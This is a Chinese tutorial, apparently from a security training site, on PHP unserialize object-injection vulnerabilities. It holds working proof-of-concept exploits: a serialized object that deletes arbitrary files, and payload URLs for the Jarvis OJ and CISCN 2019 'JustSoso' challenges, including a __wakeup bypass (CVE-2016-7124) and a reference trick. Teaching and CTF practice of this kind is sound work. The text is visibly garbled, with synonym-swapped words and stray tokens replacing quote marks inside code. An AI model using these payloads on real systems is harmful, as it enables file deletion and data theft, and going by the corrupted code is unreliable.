php反序列化漏洞,又叫php工具注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中常常能够碰着。
01
学习前最好提前节制的知识
PHP类与工具(https://www.php.net/manual/zh/language.oop5.php)PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)serialize()
(http://php.net/manual/zh/function.serialize.php)
与unserialize()
(http://php.net/manual/zh/function.unserialize.php)
02
序列化与反序列化
PHP (从 PHP 3.05 开始)为保存工具供应了一组序列化和反序列化的函数:serialize、unserialize。
serialize()
当我们在php中创建了一个工具后,可以通过serialize()把这个工具转变成一个字符串,用于保存工具的值方便之后的通报与利用。测试代码如下;
<?phpclass people{public $name = \"大众f1r3K0\公众;public $age = '18';}$class = new people;$class_ser = serialize($class);print_r($class_ser);?>
测试结果:
O:6:\公众people\"大众:2:{s:4:\"大众name\"大众;s:6:f1r3K0\"大众;s:3:\公众age\公众;s:2:\"大众18\公众;}把稳这里的括号外边的为大写英笔墨母 O
下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一样平常工具 r - reference s - string C - custom object 自定义工具 O - class N - null R - pointer reference U - unicode string unicode编码的字符串unserialize()
与 serialize() 对应的,unserialize()可以从序列化后的结果中规复工具(object),我们翻阅PHP手册创造官方给出的是:unserialize — 从已存储的表示中创建 PHP 的值。
我们可以直接把之前序列化的工具反序列化回来来测试函数,如下:
<?phpclass people{public $name = \"大众f1r3K0\公众;public $age = '18';}$class = new people;$class_ser = serialize($class);print_r($class_ser);$class_unser = unserialize($class_ser);print_r($class_unser);?>
提醒一下,当利用 unserialize() 规复工具时, 将调用 __wakeup() 成员函数。(先埋个伏笔,这个点后面会提)
03
反序列化漏洞
由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个\"大众精心”布局的序列化字符串,从而掌握工具内部的变量乃至是函数。
利用布局函数等
Magic function
php中有一类分外的方法叫“Magic function”,便是我们常说的\"大众魔术方法\公众 这里我们着重关注一下几个:
__construct():布局函数,当工具创建(new)时会自动调用。但在unserialize()时是不会自动调用的。__destruct():析构函数,类似于C++。会在到某个工具的所有引用都被删除或者当工具被显式销毁时实行,当工具被销毁时会自动调用。__wakeup():如前所提,unserialize()时会检讨是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。__toString():用于处理一个类被当成字符串时应若何回应,因此当一个工具被当作一个字符串时就会调用。__sleep():用于提交未提交的数据,或类似的清理操作,因此当一个工具被序列化的时候被调用。测试如下:
<?phpclass people{public $name = \公众f1r3K0\公众;public $age = '18';function __wakeup{echo \公众__wakeup\"大众;}function __construct{echo \"大众__consrtuct\公众;}function __destruct{echo \"大众__destruct\公众;}function __toString{echo \公众__toString\公众;}/function __sleep{echo \公众__sleep\"大众;}/}$class = new people;$class_ser = serialize($class);print_r($class_ser);$class_unser = unserialize($class_ser);print_r($class_unser);?>
结果如下:
从运行结果来看,我们可以看出unserialize函数是优先调用\公众__wakeup()\公众再进行的反序列化字符串。同时,对付其他方法的调用顺序也一览无余了。(把稳:这里我将sleep注释掉了,由于sleep会在序列化的时候调用,因此实行sleep方法就不会再实行序列以及之后的操作了。)
利用场景
__wakeup()和destruct()
由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最空想的情形便是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们掌握序列化字符串时可以去直打仗发它们。我们这里直策应用参考文章的例子,代码如下:
//logfile.php 删除临时日志文件<?phpclass LogFile {//log文件名public $filename = 'error.log';//存储日志文件public function LogData($text) {echo 'Log some data:' . $text . '<br />';file_put_contents($this->filename, $text, FILE_APPEND);}//Destructor删除日志文件public function __destruct {echo '__destruct delete' . $this->filename . 'file.<br />';unlink(dirname(__FILE__) . '/' . $this->filename); //删除当前目录下的filename这个文件}}?>//包含了’logfile.php’的主页面文件index.php<?phpinclude 'logfile.php';class User {//属性public $age = 0;public $name = '';
//调用函数来输出类中属性
public function PrintData {echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';}}$usr = unserialize($_GET['user']);?>
梳理下这2个php文件的功能,index.php是一个有php序列化漏洞的主业文件,logfile.php的功能便是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的觉得,利用这个漏洞的办法便是,通过布局能够删除source.txt的序列化字符串,然后get办法传入被反序列化函数,反序列化为工具,工具销毁后调用__destruct来删除source.txt.
漏洞利用exp
<?phpinclude 'logfile.php';$obj = new LogFile;$obj->filename = 'source.txt'; //source.txt为你想删除的文件echo serialize($obj) . '<br />';?>
这里我们通过['GET']传入序列化字符串,调用反序列化函数来删除想要删除的文件。
之前还看到过一个wakeup非常故意思的例子,这里直接上链接了
chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
04
其它magic function的利用
这里我就结合PCTF和今年国赛上的题来剖析了
PCTF
题目链接:(http://web.jarvisoj.com:32768/index.php)
前面几步都是很常见的读文件源码
这里直接放出给的两个源码
//index.php<?phprequire_once('shield.php');$x = new Shield;isset($_GET['class']) && $g = $_GET['class'];if (!empty($g)) {$x = unserialize($g);}echo $x->readfile;?>上边index.php提示了包含的shield.php以是说直接布局base64就完事了//shield.php<?php//flag is in pctf.phpclass Shield {public $file;function __construct($filename = '') {$this -> file = $filename;}function readfile {if (!empty($this->file) && stripos($this->file,'..')===FALSE&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {return @file_get_contents($this->file);}}}index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]吸收了用户反序列化的内容,输出了readfile方法
shield.php 1.首先就能创造file是可控的(利用点) 2.construct在index中实例化的时候就已经实行了,因此不会影响我们对可控$file的利用。
布局poc
<?phpclass Shield{public $file = \"大众pctf.php\"大众;}$flag = new Shield;print_r(serialize($flag));?>终极poc:终极POC
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}ciscn2019 web1- JustSoso读源码的过程省略//index.php<html><?phperror_reporting(0);$file = $_GET[\"大众file\公众];$payload = $_GET[\公众payload\"大众];if(!isset($file)){echo 'Missing parameter'.'<br>';}if(preg_match(\"大众/flag/\"大众,$file)){die('hack attacked!!!');}@include($file);if(isset($payload)){$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match(\"大众/flag/\"大众,$value)) {die('stop hacking!');exit;}}$payload = unserialize($payload);}else{echo \公众Missing parameters\"大众;}?><!--Please test index.php?file=xxx.php --><!--Please get the source of hint.php--></html><?phpclass Handle{private $handle;public function __wakeup{foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}echo \"大众Waking up\n\公众;}public function __construct($handle) {$this->handle = $handle;}public function __destruct{$this->handle->getFlag;}}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag=&$this->token;}public function getFlag{$this->token_flag = md5(rand(1,10000));if($this->token === $this->token_flag){if(isset($this->file)){echo @highlight_file($this->file,true);}}}}实在刚开始做的时候是很懵逼了,一贯在纠结爆破md5上边。22233333
1.首先我们须要绕的便是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失落败,这样就可以在payload里涌现flag,这里该当n1ctf的web eating cms的绕过办法,添加 ///index.php绕过。
2.接下来便是须要我们绕过wakeup里的将$k赋值为空的操作,这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
3.绕md5这里用到了PHP中引用变量的知识
大略来说便是,当两个变量指向同一地址时,例如: $b=&$a,这里的 $b指向的是 $a的区域,这样b就随着a变革而变革,同样的事理,我们在第二步序列化时加上这一步
$b = new Flag(\"大众flag.php\公众);$b->token=&$b->token_flag;$a = new Handle($b);这样末了的token就和token_flag保持同等了。
末了的POC
<?phpclass Handle{private $handle;public function __wakeup{foreach(get_object_vars($this) as $k => $v){$this->$k = null;}echo \"大众Waking upn\公众;}public function __construct($handle){$this->handle = $handle;}public function __destruct{$this->handle->getFlag;}}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag{if(isset($this->file)){echo @highlight_file($this->file,true);}}}$b = new Flag(\公众flag.php\"大众);$b->token=&$b->token_flag;$a = new Handle($b);echo(serialize($a));?>这里还有一个点便是我们须要用%00来补全空缺的字符,又由于含有private 变量,须要 encode 一下。
终极payload:
?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
05
利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时我们须要去探求相同的函数名,把敏感函数和类联系在一起。一样平常来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,终极去布局出一个有杀伤力的payload。
参考文章
http://p0desta.com/2018/04/01/php反序列化总结/
http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/
干系操作学习:
PHP反序列化漏洞实验:明白什么是反序列化漏洞,漏洞成因以及如何挖掘和预防此类漏洞。点击
http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001,开始操作!
本文为合天原创,未经许可,严禁装载。